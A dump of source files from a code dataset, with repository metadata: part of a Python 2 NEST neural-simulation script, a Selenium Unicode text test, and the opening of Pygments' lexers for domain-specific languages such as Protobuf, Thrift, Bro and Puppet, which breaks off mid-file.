def connect(pre, post, syn_type=GABA, weight_coef=1):
# Set new weight value (weight_coef * basic weight)
nest.SetDefaults(synapses[syn_type][model], {'weight': weight_coef * synapses[syn_type][basic_weight]})
# Create dictionary of connection rules
conn_dict = {'rule': 'fixed_outdegree',
'outdegree': MaxSynapses if post[k_NN] > MaxSynapses else post[k_NN],
'multapses': True}
# Connect PRE IDs neurons with POST IDs neurons, add Connection and Synapse specification
nest.Connect(pre[k_IDs], post[k_IDs], conn_spec=conn_dict, syn_spec=synapses[syn_type][model])
# Show data of new connection
log_connection(pre, post, synapses[syn_type][model], nest.GetDefaults(synapses[syn_type][model])['weight'])
def connect_generator(part, startTime=1, stopTime=T, rate=250, coef_part=1, weight=static_syn['weight']):
custom_syn = static_syn
custom_syn['weight'] = weight
name = part[k_name]
# Add to spikeGenerators dict a new generator
spike_generators[name] = nest.Create('poisson_generator', 1, {'rate' : float(rate),
'start': float(startTime),
'stop' : float(stopTime)})
# Create dictionary of connection rules
conn_dict = {'rule': 'fixed_outdegree',
'outdegree': int(part[k_NN] * coef_part)}
# Connect generator and part IDs with connection specification and synapse specification
nest.Connect(spike_generators[name], part[k_IDs], conn_spec=conn_dict, syn_spec=custom_syn)
# Show data of new generator
logger.debug("Generator => {0}. Element #{1}".format(name, spike_generators[name][0]))
def connect_detector(part):
name = part[k_name]
# Init number of neurons which will be under detector watching
number = part[k_NN] if part[k_NN] < N_detect else N_detect
# Add to spikeDetectors a new detector
spike_detectors[name] = nest.Create('spike_detector', params=detector_param)
# Connect N first neurons ID of part with detector
nest.Connect(part[k_IDs][:number], spike_detectors[name])
# Show data of new detector
logger.debug("Detector => {0}. Tracing {1} neurons".format(name, number))
def connect_multimeter(part):
name = part[k_name]
multimeters[name] = nest.Create('multimeter', params=multimeter_param) # ToDo add count of multimeters
nest.Connect(multimeters[name], (part[k_IDs][:N_volt]))
logger.debug("Multimeter => {0}. On {1}".format(name, part[k_IDs][:N_volt]))
'''Generates string full name of an image'''
def f_name_gen(path, name):
return "{0}{1}{2}.png".format(path, name, "" if dopamine_flag else "")
def simulate():
global startsimulate, endsimulate, SAVE_PATH
begin = 0
SAVE_PATH = "../results/output-{0}/".format(NEURONS)
#SAVE_PATH = "../Res/4/".format(NEURONS)
if not os.path.exists(SAVE_PATH):
os.makedirs(SAVE_PATH)
#nest.PrintNetwork()
logger.debug('* * * Simulating')
startsimulate = datetime.datetime.now()
for t in np.arange(0, T, dt):
print "SIMULATING [{0}, {1}]".format(t, t + dt)
nest.Simulate(dt)
end = clock()
times.append("{0:10.1f} {1:8.1f} "
"{2:10.1f} {3:4.1f} {4}\n".format(begin, end - begin, end, t, datetime.datetime.now().time()))
begin = end
print "COMPLETED {0}%\n".format(t/dt)
endsimulate = datetime.datetime.now()
logger.debug('* * * Simulation completed successfully')
def get_log(startbuild, endbuild):
logger.info("Number of neurons : {}".format(NEURONS))
logger.info("Number of synapses : {}".format(SYNAPSES))
logger.info("Building time : {}".format(endbuild - startbuild))
logger.info("Simulation time : {}".format(endsimulate - startsimulate))
logger.info("Dopamine : {}".format('YES' if dopamine_flag else 'NO'))
def save(GUI):
global txt_result_path
if GUI:
import pylab as pl
import nest.raster_plot
import nest.voltage_trace
logger.debug("Saving IMAGES into {0}".format(SAVE_PATH))
N_events_gen = len(spike_generators)
for key in spike_detectors:
try:
nest.raster_plot.from_device(spike_detectors[key], hist=True)
pl.savefig(f_name_gen(SAVE_PATH, "spikes_" + key.lower()), dpi=dpi_n, format='png')
pl.close()
except Exception:
print("From {0} is NOTHING".format(key))
N_events_gen -= 1
for key in multimeters:
try:
nest.voltage_trace.from_device(multimeters[key])
pl.savefig(f_name_gen(SAVE_PATH, "volt_" + key.lower()), dpi=dpi_n, format='png')
pl.close()
except Exception:
print("From {0} is NOTHING".format(key))
print "Results {0}/{1}".format(N_events_gen, len(spike_detectors))
print "Results {0}/{1}".format(N_events_gen, len(spike_detectors))
txt_result_path = SAVE_PATH + 'txt/'
logger.debug("Saving TEXT into {0}".format(txt_result_path))
if not os.path.exists(txt_result_path):
os.mkdir(txt_result_path)
for key in spike_detectors:
save_spikes(spike_detectors[key], name=key)
#for key in multimeters:
# save_voltage(multimeters[key], name=key)
with open(txt_result_path + 'timeSimulation.txt', 'w') as f:
for item in times:
f.write(item)
def save_spikes(detec, name, hist=False):
title = "Raster plot from device '%i'" % detec[0]
ev = nest.GetStatus(detec, "events")[0]
ts = ev["times"]
gids = ev["senders"]
data = defaultdict(list)
if len(ts):
with open("{0}@spikes_{1}.txt".format(txt_result_path, name), 'w') as f:
f.write("Name: {0}, Title: {1}, Hist: {2}\n".format(name, title, "True" if hist else "False"))
for num in range(0, len(ev["times"])):
data[round(ts[num], 1)].append(gids[num])
for key in sorted(data.iterkeys()):
f.write("{0:>5} : {1:>4} : {2}\n".format(key, len(data[key]), sorted(data[key])))
else:
print "Spikes in {0} is NULL".format(name)
def save_voltage(detec, name):
title = "Membrane potential"
ev = nest.GetStatus(detec, "events")[0]
with open("{0}@voltage_{1}.txt".format(txt_result_path, name), 'w') as f:
f.write("Name: {0}, Title: {1}\n".format(name, title))
print int(T / multimeter_param['interval'])
for line in range(0, int(T / multimeter_param['interval'])):
for index in range(0, N_volt):
print "{0} {1} ".format(ev["times"][line], ev["V_m"][line])
#f.write("\n")
print "\n"
|
gpl-2.0
|
lummyare/lummyare-lummy
|
py/test/selenium/test_i18n.py
|
28
|
1767
|
# DEPRECATED
"""
Copyright 2011 Software Freedom Conservancy.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import unicode_literals
from selenium import selenium
import unittest
class TestI18n(unittest.TestCase):
def setUp(self):
self.selenium = selenium("localhost", 4444, "*mock", "http://localhost:4444")
self.selenium.start()
self.selenium.open("http://localhost:4444/selenium-server/tests/html/test_i18n.html")
def test_i18n(self):
romance = "\u00FC\u00F6\u00E4\u00DC\u00D6\u00C4 \u00E7\u00E8\u00E9 \u00BF\u00F1 \u00E8\u00E0\u00F9\u00F2"
korean = "\uC5F4\uC5D0"
chinese = "\u4E2D\u6587"
japanese = "\u307E\u3077"
dangerous = "&%?\\+|,%*"
self.verify_text("romance", romance)
self.verify_text("korean", korean)
self.verify_text("chinese", chinese)
self.verify_text("japanese", japanese)
self.verify_text("dangerous", dangerous)
def verify_text(self, id, expected):
sel = self.selenium
self.failUnless(sel.is_text_present(expected))
actual = sel.get_text(id)
self.assertEqual(expected, actual)
def tearDown(self):
self.selenium.stop()
if __name__ == "__main__":
unittest.main()
|
apache-2.0
|
wakatime/sublime-wakatime
|
packages/wakatime/packages/py26/pygments/lexers/dsls.py
|
25
|
33336
|
# -*- coding: utf-8 -*-
"""
pygments.lexers.dsls
~~~~~~~~~~~~~~~~~~~~
Lexers for various domain-specific languages.
:copyright: Copyright 2006-2017 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
import re
from pygments.lexer import ExtendedRegexLexer, RegexLexer, bygroups, words, \
include, default, this, using, combined
from pygments.token import Text, Comment, Operator, Keyword, Name, String, \
Number, Punctuation, Literal, Whitespace
__all__ = ['ProtoBufLexer', 'BroLexer', 'PuppetLexer', 'RslLexer',
'MscgenLexer', 'VGLLexer', 'AlloyLexer', 'PanLexer',
'CrmshLexer', 'ThriftLexer', 'FlatlineLexer', 'SnowballLexer']
class ProtoBufLexer(RegexLexer):
"""
Lexer for `Protocol Buffer <http://code.google.com/p/protobuf/>`_
definition files.
.. versionadded:: 1.4
"""
name = 'Protocol Buffer'
aliases = ['protobuf', 'proto']
filenames = ['*.proto']
tokens = {
'root': [
(r'[ \t]+', Text),
(r'[,;{}\[\]()<>]', Punctuation),
(r'/(\\\n)?/(\n|(.|\n)*?[^\\]\n)', Comment.Single),
(r'/(\\\n)?\*(.|\n)*?\*(\\\n)?/', Comment.Multiline),
(words((
'import', 'option', 'optional', 'required', 'repeated', 'default',
'packed', 'ctype', 'extensions', 'to', 'max', 'rpc', 'returns',
'oneof'), prefix=r'\b', suffix=r'\b'),
Keyword),
(words((
'int32', 'int64', 'uint32', 'uint64', 'sint32', 'sint64',
'fixed32', 'fixed64', 'sfixed32', 'sfixed64',
'float', 'double', 'bool', 'string', 'bytes'), suffix=r'\b'),
Keyword.Type),
(r'(true|false)\b', Keyword.Constant),
(r'(package)(\s+)', bygroups(Keyword.Namespace, Text), 'package'),
(r'(message|extend)(\s+)',
bygroups(Keyword.Declaration, Text), 'message'),
(r'(enum|group|service)(\s+)',
bygroups(Keyword.Declaration, Text), 'type'),
(r'\".*?\"', String),
(r'\'.*?\'', String),
(r'(\d+\.\d*|\.\d+|\d+)[eE][+-]?\d+[LlUu]*', Number.Float),
(r'(\d+\.\d*|\.\d+|\d+[fF])[fF]?', Number.Float),
(r'(\-?(inf|nan))\b', Number.Float),
(r'0x[0-9a-fA-F]+[LlUu]*', Number.Hex),
(r'0[0-7]+[LlUu]*', Number.Oct),
(r'\d+[LlUu]*', Number.Integer),
(r'[+-=]', Operator),
(r'([a-zA-Z_][\w.]*)([ \t]*)(=)',
bygroups(Name.Attribute, Text, Operator)),
('[a-zA-Z_][\w.]*', Name),
],
'package': [
(r'[a-zA-Z_]\w*', Name.Namespace, '#pop'),
default('#pop'),
],
'message': [
(r'[a-zA-Z_]\w*', Name.Class, '#pop'),
default('#pop'),
],
'type': [
(r'[a-zA-Z_]\w*', Name, '#pop'),
default('#pop'),
],
}
class ThriftLexer(RegexLexer):
"""
For `Thrift <https://thrift.apache.org/>`__ interface definitions.
.. versionadded:: 2.1
"""
name = 'Thrift'
aliases = ['thrift']
filenames = ['*.thrift']
mimetypes = ['application/x-thrift']
tokens = {
'root': [
include('whitespace'),
include('comments'),
(r'"', String.Double, combined('stringescape', 'dqs')),
(r'\'', String.Single, combined('stringescape', 'sqs')),
(r'(namespace)(\s+)',
bygroups(Keyword.Namespace, Text.Whitespace), 'namespace'),
(r'(enum|union|struct|service|exception)(\s+)',
bygroups(Keyword.Declaration, Text.Whitespace), 'class'),
(r'((?:(?:[^\W\d]|\$)[\w.\[\]$<>]*\s+)+?)' # return arguments
r'((?:[^\W\d]|\$)[\w$]*)' # method name
r'(\s*)(\()', # signature start
bygroups(using(this), Name.Function, Text, Operator)),
include('keywords'),
include('numbers'),
(r'[&=]', Operator),
(r'[:;,{}()<>\[\]]', Punctuation),
(r'[a-zA-Z_](\.\w|\w)*', Name),
],
'whitespace': [
(r'\n', Text.Whitespace),
(r'\s+', Text.Whitespace),
],
'comments': [
(r'#.*$', Comment),
(r'//.*?\n', Comment),
(r'/\*[\w\W]*?\*/', Comment.Multiline),
],
'stringescape': [
(r'\\([\\nrt"\'])', String.Escape),
],
'dqs': [
(r'"', String.Double, '#pop'),
(r'[^\\"\n]+', String.Double),
],
'sqs': [
(r"'", String.Single, '#pop'),
(r'[^\\\'\n]+', String.Single),
],
'namespace': [
(r'[a-z*](\.\w|\w)*', Name.Namespace, '#pop'),
default('#pop'),
],
'class': [
(r'[a-zA-Z_]\w*', Name.Class, '#pop'),
default('#pop'),
],
'keywords': [
(r'(async|oneway|extends|throws|required|optional)\b', Keyword),
(r'(true|false)\b', Keyword.Constant),
(r'(const|typedef)\b', Keyword.Declaration),
(words((
'cpp_namespace', 'cpp_include', 'cpp_type', 'java_package',
'cocoa_prefix', 'csharp_namespace', 'delphi_namespace',
'php_namespace', 'py_module', 'perl_package',
'ruby_namespace', 'smalltalk_category', 'smalltalk_prefix',
'xsd_all', 'xsd_optional', 'xsd_nillable', 'xsd_namespace',
'xsd_attrs', 'include'), suffix=r'\b'),
Keyword.Namespace),
(words((
'void', 'bool', 'byte', 'i16', 'i32', 'i64', 'double',
'string', 'binary', 'map', 'list', 'set', 'slist',
'senum'), suffix=r'\b'),
Keyword.Type),
(words((
'BEGIN', 'END', '__CLASS__', '__DIR__', '__FILE__',
'__FUNCTION__', '__LINE__', '__METHOD__', '__NAMESPACE__',
'abstract', 'alias', 'and', 'args', 'as', 'assert', 'begin',
'break', 'case', 'catch', 'class', 'clone', 'continue',
'declare', 'def', 'default', 'del', 'delete', 'do', 'dynamic',
'elif', 'else', 'elseif', 'elsif', 'end', 'enddeclare',
'endfor', 'endforeach', 'endif', 'endswitch', 'endwhile',
'ensure', 'except', 'exec', 'finally', 'float', 'for',
'foreach', 'function', 'global', 'goto', 'if', 'implements',
'import', 'in', 'inline', 'instanceof', 'interface', 'is',
'lambda', 'module', 'native', 'new', 'next', 'nil', 'not',
'or', 'pass', 'public', 'print', 'private', 'protected',
'raise', 'redo', 'rescue', 'retry', 'register', 'return',
'self', 'sizeof', 'static', 'super', 'switch', 'synchronized',
'then', 'this', 'throw', 'transient', 'try', 'undef',
'unless', 'unsigned', 'until', 'use', 'var', 'virtual',
'volatile', 'when', 'while', 'with', 'xor', 'yield'),
prefix=r'\b', suffix=r'\b'),
Keyword.Reserved),
],
'numbers': [
(r'[+-]?(\d+\.\d+([eE][+-]?\d+)?|\.?\d+[eE][+-]?\d+)', Number.Float),
(r'[+-]?0x[0-9A-Fa-f]+', Number.Hex),
(r'[+-]?[0-9]+', Number.Integer),
],
}
class BroLexer(RegexLexer):
"""
For `Bro <http://bro-ids.org/>`_ scripts.
.. versionadded:: 1.5
"""
name = 'Bro'
aliases = ['bro']
filenames = ['*.bro']
_hex = r'[0-9a-fA-F_]'
_float = r'((\d*\.?\d+)|(\d+\.?\d*))([eE][-+]?\d+)?'
_h = r'[A-Za-z0-9][-A-Za-z0-9]*'
tokens = {
'root': [
# Whitespace
(r'^@.*?\n', Comment.Preproc),
(r'#.*?\n', Comment.Single),
(r'\n', Text),
(r'\s+', Text),
(r'\\\n', Text),
# Keywords
(r'(add|alarm|break|case|const|continue|delete|do|else|enum|event'
r'|export|for|function|if|global|hook|local|module|next'
r'|of|print|redef|return|schedule|switch|type|when|while)\b', Keyword),
(r'(addr|any|bool|count|counter|double|file|int|interval|net'
r'|pattern|port|record|set|string|subnet|table|time|timer'
r'|vector)\b', Keyword.Type),
(r'(T|F)\b', Keyword.Constant),
(r'(&)((?:add|delete|expire)_func|attr|(?:create|read|write)_expire'
r'|default|disable_print_hook|raw_output|encrypt|group|log'
r'|mergeable|optional|persistent|priority|redef'
r'|rotate_(?:interval|size)|synchronized)\b',
bygroups(Punctuation, Keyword)),
(r'\s+module\b', Keyword.Namespace),
# Addresses, ports and networks
(r'\d+/(tcp|udp|icmp|unknown)\b', Number),
(r'(\d+\.){3}\d+', Number),
(r'(' + _hex + r'){7}' + _hex, Number),
(r'0x' + _hex + r'(' + _hex + r'|:)*::(' + _hex + r'|:)*', Number),
(r'((\d+|:)(' + _hex + r'|:)*)?::(' + _hex + r'|:)*', Number),
(r'(\d+\.\d+\.|(\d+\.){2}\d+)', Number),
# Hostnames
(_h + r'(\.' + _h + r')+', String),
# Numeric
(_float + r'\s+(day|hr|min|sec|msec|usec)s?\b', Literal.Date),
(r'0[xX]' + _hex, Number.Hex),
(_float, Number.Float),
(r'\d+', Number.Integer),
(r'/', String.Regex, 'regex'),
(r'"', String, 'string'),
# Operators
(r'[!%*/+:<=>?~|-]', Operator),
(r'([-+=&|]{2}|[+=!><-]=)', Operator),
(r'(in|match)\b', Operator.Word),
(r'[{}()\[\]$.,;]', Punctuation),
# Identfier
(r'([_a-zA-Z]\w*)(::)', bygroups(Name, Name.Namespace)),
(r'[a-zA-Z_]\w*', Name)
],
'string': [
(r'"', String, '#pop'),
(r'\\([\\abfnrtv"\']|x[a-fA-F0-9]{2,4}|[0-7]{1,3})', String.Escape),
(r'[^\\"\n]+', String),
(r'\\\n', String),
(r'\\', String)
],
'regex': [
(r'/', String.Regex, '#pop'),
(r'\\[\\nt/]', String.Regex), # String.Escape is too intense here.
(r'[^\\/\n]+', String.Regex),
(r'\\\n', String.Regex),
(r'\\', String.Regex)
]
}
class PuppetLexer(RegexLexer):
"""
For `Puppet <http://puppetlabs.com/>`__ configuration DSL.
.. versionadded:: 1.6
"""
name = 'Puppet'
aliases = ['puppet']
filenames = ['*.pp']
tokens = {
'root': [
include('comments'),
include('keywords'),
include('names'),
include('numbers'),
include('operators'),
include('strings'),
(r'[]{}:(),;[]', Punctuation),
(r'[^\S\n]+', Text),
],
'comments': [
(r'\s*#.*$', Comment),
(r'/(\\\n)?[*](.|\n)*?[*](\\\n)?/', Comment.Multiline),
],
'operators': [
(r'(=>|\?|<|>|=|\+|-|/|\*|~|!|\|)', Operator),
(r'(in|and|or|not)\b', Operator.Word),
],
'names': [
('[a-zA-Z_]\w*', Name.Attribute),
(r'(\$\S+)(\[)(\S+)(\])', bygroups(Name.Variable, Punctuation,
String, Punctuation)),
(r'\$\S+', Name.Variable),
],
'numbers': [
# Copypasta from the Python lexer
(r'(\d+\.\d*|\d*\.\d+)([eE][+-]?[0-9]+)?j?', Number.Float),
(r'\d+[eE][+-]?[0-9]+j?', Number.Float),
(r'0[0-7]+j?', Number.Oct),
(r'0[xX][a-fA-F0-9]+', Number.Hex),
(r'\d+L', Number.Integer.Long),
(r'\d+j?', Number.Integer)
],
'keywords': [
# Left out 'group' and 'require'
# Since they're often used as attributes
(words((
'absent', 'alert', 'alias', 'audit', 'augeas', 'before', 'case',
'check', 'class', 'computer', 'configured', 'contained',
'create_resources', 'crit', 'cron', 'debug', 'default',
'define', 'defined', 'directory', 'else', 'elsif', 'emerg',
'err', 'exec', 'extlookup', 'fail', 'false', 'file',
'filebucket', 'fqdn_rand', 'generate', 'host', 'if', 'import',
'include', 'info', 'inherits', 'inline_template', 'installed',
'interface', 'k5login', 'latest', 'link', 'loglevel',
'macauthorization', 'mailalias', 'maillist', 'mcx', 'md5',
'mount', 'mounted', 'nagios_command', 'nagios_contact',
'nagios_contactgroup', 'nagios_host', 'nagios_hostdependency',
'nagios_hostescalation', 'nagios_hostextinfo', 'nagios_hostgroup',
'nagios_service', 'nagios_servicedependency', 'nagios_serviceescalation',
'nagios_serviceextinfo', 'nagios_servicegroup', 'nagios_timeperiod',
'node', 'noop', 'notice', 'notify', 'package', 'present', 'purged',
'realize', 'regsubst', 'resources', 'role', 'router', 'running',
'schedule', 'scheduled_task', 'search', 'selboolean', 'selmodule',
'service', 'sha1', 'shellquote', 'split', 'sprintf',
'ssh_authorized_key', 'sshkey', 'stage', 'stopped', 'subscribe',
'tag', 'tagged', 'template', 'tidy', 'true', 'undef', 'unmounted',
'user', 'versioncmp', 'vlan', 'warning', 'yumrepo', 'zfs', 'zone',
'zpool'), prefix='(?i)', suffix=r'\b'),
Keyword),
],
'strings': [
(r'"([^"])*"', String),
(r"'(\\'|[^'])*'", String),
],
}
class RslLexer(RegexLexer):
"""
`RSL <http://en.wikipedia.org/wiki/RAISE>`_ is the formal specification
language used in RAISE (Rigorous Approach to Industrial Software Engineering)
method.
.. versionadded:: 2.0
"""
name = 'RSL'
aliases = ['rsl']
filenames = ['*.rsl']
mimetypes = ['text/rsl']
flags = re.MULTILINE | re.DOTALL
tokens = {
'root': [
(words((
'Bool', 'Char', 'Int', 'Nat', 'Real', 'Text', 'Unit', 'abs',
'all', 'always', 'any', 'as', 'axiom', 'card', 'case', 'channel',
'chaos', 'class', 'devt_relation', 'dom', 'elems', 'else', 'elif',
'end', 'exists', 'extend', 'false', 'for', 'hd', 'hide', 'if',
'in', 'is', 'inds', 'initialise', 'int', 'inter', 'isin', 'len',
'let', 'local', 'ltl_assertion', 'object', 'of', 'out', 'post',
'pre', 'read', 'real', 'rng', 'scheme', 'skip', 'stop', 'swap',
'then', 'theory', 'test_case', 'tl', 'transition_system', 'true',
'type', 'union', 'until', 'use', 'value', 'variable', 'while',
'with', 'write', '~isin', '-inflist', '-infset', '-list',
'-set'), prefix=r'\b', suffix=r'\b'),
Keyword),
(r'(variable|value)\b', Keyword.Declaration),
(r'--.*?\n', Comment),
(r'<:.*?:>', Comment),
(r'\{!.*?!\}', Comment),
(r'/\*.*?\*/', Comment),
(r'^[ \t]*([\w]+)[ \t]*:[^:]', Name.Function),
(r'(^[ \t]*)([\w]+)([ \t]*\([\w\s,]*\)[ \t]*)(is|as)',
bygroups(Text, Name.Function, Text, Keyword)),
(r'\b[A-Z]\w*\b', Keyword.Type),
(r'(true|false)\b', Keyword.Constant),
(r'".*"', String),
(r'\'.\'', String.Char),
(r'(><|->|-m->|/\\|<=|<<=|<\.|\|\||\|\^\||-~->|-~m->|\\/|>=|>>|'
r'\.>|\+\+|-\\|<->|=>|:-|~=|\*\*|<<|>>=|\+>|!!|\|=\||#)',
Operator),
(r'[0-9]+\.[0-9]+([eE][0-9]+)?[fd]?', Number.Float),
(r'0x[0-9a-f]+', Number.Hex),
(r'[0-9]+', Number.Integer),
(r'.', Text),
],
}
def analyse_text(text):
"""
Check for the most common text in the beginning of a RSL file.
"""
if re.search(r'scheme\s*.*?=\s*class\s*type', text, re.I) is not None:
return 1.0
class MscgenLexer(RegexLexer):
"""
For `Mscgen <http://www.mcternan.me.uk/mscgen/>`_ files.
.. versionadded:: 1.6
"""
name = 'Mscgen'
aliases = ['mscgen', 'msc']
filenames = ['*.msc']
_var = r'(\w+|"(?:\\"|[^"])*")'
tokens = {
'root': [
(r'msc\b', Keyword.Type),
# Options
(r'(hscale|HSCALE|width|WIDTH|wordwraparcs|WORDWRAPARCS'
r'|arcgradient|ARCGRADIENT)\b', Name.Property),
# Operators
(r'(abox|ABOX|rbox|RBOX|box|BOX|note|NOTE)\b', Operator.Word),
(r'(\.|-|\|){3}', Keyword),
(r'(?:-|=|\.|:){2}'
r'|<<=>>|<->|<=>|<<>>|<:>'
r'|->|=>>|>>|=>|:>|-x|-X'
r'|<-|<<=|<<|<=|<:|x-|X-|=', Operator),
# Names
(r'\*', Name.Builtin),
(_var, Name.Variable),
# Other
(r'\[', Punctuation, 'attrs'),
(r'\{|\}|,|;', Punctuation),
include('comments')
],
'attrs': [
(r'\]', Punctuation, '#pop'),
(_var + r'(\s*)(=)(\s*)' + _var,
bygroups(Name.Attribute, Text.Whitespace, Operator, Text.Whitespace,
String)),
(r',', Punctuation),
include('comments')
],
'comments': [
(r'(?://|#).*?\n', Comment.Single),
(r'/\*(?:.|\n)*?\*/', Comment.Multiline),
(r'[ \t\r\n]+', Text.Whitespace)
]
}
class VGLLexer(RegexLexer):
"""
For `SampleManager VGL <http://www.thermoscientific.com/samplemanager>`_
source code.
.. versionadded:: 1.6
"""
name = 'VGL'
aliases = ['vgl']
filenames = ['*.rpf']
flags = re.MULTILINE | re.DOTALL | re.IGNORECASE
tokens = {
'root': [
(r'\{[^}]*\}', Comment.Multiline),
(r'declare', Keyword.Constant),
(r'(if|then|else|endif|while|do|endwhile|and|or|prompt|object'
r'|create|on|line|with|global|routine|value|endroutine|constant'
r'|global|set|join|library|compile_option|file|exists|create|copy'
r'|delete|enable|windows|name|notprotected)(?! *[=<>.,()])',
Keyword),
(r'(true|false|null|empty|error|locked)', Keyword.Constant),
(r'[~^*#!%&\[\]()<>|+=:;,./?-]', Operator),
(r'"[^"]*"', String),
(r'(\.)([a-z_$][\w$]*)', bygroups(Operator, Name.Attribute)),
(r'[0-9][0-9]*(\.[0-9]+(e[+\-]?[0-9]+)?)?', Number),
(r'[a-z_$][\w$]*', Name),
(r'[\r\n]+', Text),
(r'\s+', Text)
]
}
class AlloyLexer(RegexLexer):
"""
For `Alloy <http://alloy.mit.edu>`_ source code.
.. versionadded:: 2.0
"""
name = 'Alloy'
aliases = ['alloy']
filenames = ['*.als']
mimetypes = ['text/x-alloy']
flags = re.MULTILINE | re.DOTALL
iden_rex = r'[a-zA-Z_][\w\']*'
text_tuple = (r'[^\S\n]+', Text)
tokens = {
'sig': [
(r'(extends)\b', Keyword, '#pop'),
(iden_rex, Name),
text_tuple,
(r',', Punctuation),
(r'\{', Operator, '#pop'),
],
'module': [
text_tuple,
(iden_rex, Name, '#pop'),
],
'fun': [
text_tuple,
(r'\{', Operator, '#pop'),
(iden_rex, Name, '#pop'),
],
'root': [
(r'--.*?$', Comment.Single),
(r'//.*?$', Comment.Single),
(r'/\*.*?\*/', Comment.Multiline),
text_tuple,
(r'(module|open)(\s+)', bygroups(Keyword.Namespace, Text),
'module'),
(r'(sig|enum)(\s+)', bygroups(Keyword.Declaration, Text), 'sig'),
(r'(iden|univ|none)\b', Keyword.Constant),
(r'(int|Int)\b', Keyword.Type),
(r'(this|abstract|extends|set|seq|one|lone|let)\b', Keyword),
(r'(all|some|no|sum|disj|when|else)\b', Keyword),
(r'(run|check|for|but|exactly|expect|as)\b', Keyword),
(r'(and|or|implies|iff|in)\b', Operator.Word),
(r'(fun|pred|fact|assert)(\s+)', bygroups(Keyword, Text), 'fun'),
(r'!|#|&&|\+\+|<<|>>|>=|<=>|<=|\.|->', Operator),
(r'[-+/*%=<>&!^|~{}\[\]().]', Operator),
(iden_rex, Name),
(r'[:,]', Punctuation),
(r'[0-9]+', Number.Integer),
(r'"(\\\\|\\"|[^"])*"', String),
(r'\n', Text),
]
}
class PanLexer(RegexLexer):
"""
Lexer for `pan <http://github.com/quattor/pan/>`_ source files.
Based on tcsh lexer.
.. versionadded:: 2.0
"""
name = 'Pan'
aliases = ['pan']
filenames = ['*.pan']
tokens = {
'root': [
include('basic'),
(r'\(', Keyword, 'paren'),
(r'\{', Keyword, 'curly'),
include('data'),
],
'basic': [
(words((
'if', 'for', 'with', 'else', 'type', 'bind', 'while', 'valid', 'final',
'prefix', 'unique', 'object', 'foreach', 'include', 'template',
'function', 'variable', 'structure', 'extensible', 'declaration'),
prefix=r'\b', suffix=r'\s*\b'),
Keyword),
(words((
'file_contents', 'format', 'index', 'length', 'match', 'matches',
'replace', 'splice', 'split', 'substr', 'to_lowercase', 'to_uppercase',
'debug', 'error', 'traceback', 'deprecated', 'base64_decode',
'base64_encode', 'digest', 'escape', 'unescape', 'append', 'create',
'first', 'nlist', 'key', 'list', 'merge', 'next', 'prepend', 'is_boolean',
'is_defined', 'is_double', 'is_list', 'is_long', 'is_nlist', 'is_null',
'is_number', 'is_property', 'is_resource', 'is_string', 'to_boolean',
'to_double', 'to_long', 'to_string', 'clone', 'delete', 'exists',
'path_exists', 'if_exists', 'return', 'value'),
prefix=r'\b', suffix=r'\s*\b'),
Name.Builtin),
(r'#.*', Comment),
(r'\\[\w\W]', String.Escape),
(r'(\b\w+)(\s*)(=)', bygroups(Name.Variable, Text, Operator)),
(r'[\[\]{}()=]+', Operator),
(r'<<\s*(\'?)\\?(\w+)[\w\W]+?\2', String),
(r';', Punctuation),
],
'data': [
(r'(?s)"(\\\\|\\[0-7]+|\\.|[^"\\])*"', String.Double),
(r"(?s)'(\\\\|\\[0-7]+|\\.|[^'\\])*'", String.Single),
(r'\s+', Text),
(r'[^=\s\[\]{}()$"\'`\\;#]+', Text),
(r'\d+(?= |\Z)', Number),
],
'curly': [
(r'\}', Keyword, '#pop'),
(r':-', Keyword),
(r'\w+', Name.Variable),
(r'[^}:"\'`$]+', Punctuation),
(r':', Punctuation),
include('root'),
],
'paren': [
(r'\)', Keyword, '#pop'),
include('root'),
],
}
class CrmshLexer(RegexLexer):
"""
Lexer for `crmsh <http://crmsh.github.io/>`_ configuration files
for Pacemaker clusters.
.. versionadded:: 2.1
"""
name = 'Crmsh'
aliases = ['crmsh', 'pcmk']
filenames = ['*.crmsh', '*.pcmk']
mimetypes = []
elem = words((
'node', 'primitive', 'group', 'clone', 'ms', 'location',
'colocation', 'order', 'fencing_topology', 'rsc_ticket',
'rsc_template', 'property', 'rsc_defaults',
'op_defaults', 'acl_target', 'acl_group', 'user', 'role',
'tag'), suffix=r'(?![\w#$-])')
sub = words((
'params', 'meta', 'operations', 'op', 'rule',
'attributes', 'utilization'), suffix=r'(?![\w#$-])')
acl = words(('read', 'write', 'deny'), suffix=r'(?![\w#$-])')
bin_rel = words(('and', 'or'), suffix=r'(?![\w#$-])')
un_ops = words(('defined', 'not_defined'), suffix=r'(?![\w#$-])')
date_exp = words(('in_range', 'date', 'spec', 'in'), suffix=r'(?![\w#$-])')
acl_mod = (r'(?:tag|ref|reference|attribute|type|xpath)')
bin_ops = (r'(?:lt|gt|lte|gte|eq|ne)')
val_qual = (r'(?:string|version|number)')
rsc_role_action = (r'(?:Master|Started|Slave|Stopped|'
r'start|promote|demote|stop)')
tokens = {
'root': [
(r'^#.*\n?', Comment),
# attr=value (nvpair)
(r'([\w#$-]+)(=)("(?:""|[^"])*"|\S+)',
bygroups(Name.Attribute, Punctuation, String)),
# need this construct, otherwise numeric node ids
# are matched as scores
# elem id:
(r'(node)(\s+)([\w#$-]+)(:)',
bygroups(Keyword, Whitespace, Name, Punctuation)),
# scores
(r'([+-]?([0-9]+|inf)):', Number),
# keywords (elements and other)
(elem, Keyword),
(sub, Keyword),
(acl, Keyword),
# binary operators
(r'(?:%s:)?(%s)(?![\w#$-])' % (val_qual, bin_ops), Operator.Word),
# other operators
(bin_rel, Operator.Word),
(un_ops, Operator.Word),
(date_exp, Operator.Word),
# builtin attributes (e.g. #uname)
(r'#[a-z]+(?![\w#$-])', Name.Builtin),
# acl_mod:blah
(r'(%s)(:)("(?:""|[^"])*"|\S+)' % acl_mod,
bygroups(Keyword, Punctuation, Name)),
# rsc_id[:(role|action)]
# NB: this matches all other identifiers
(r'([\w#$-]+)(?:(:)(%s))?(?![\w#$-])' % rsc_role_action,
bygroups(Name, Punctuation, Operator.Word)),
# punctuation
(r'(\\(?=\n)|[[\](){}/:@])', Punctuation),
(r'\s+|\n', Whitespace),
],
}
class FlatlineLexer(RegexLexer):
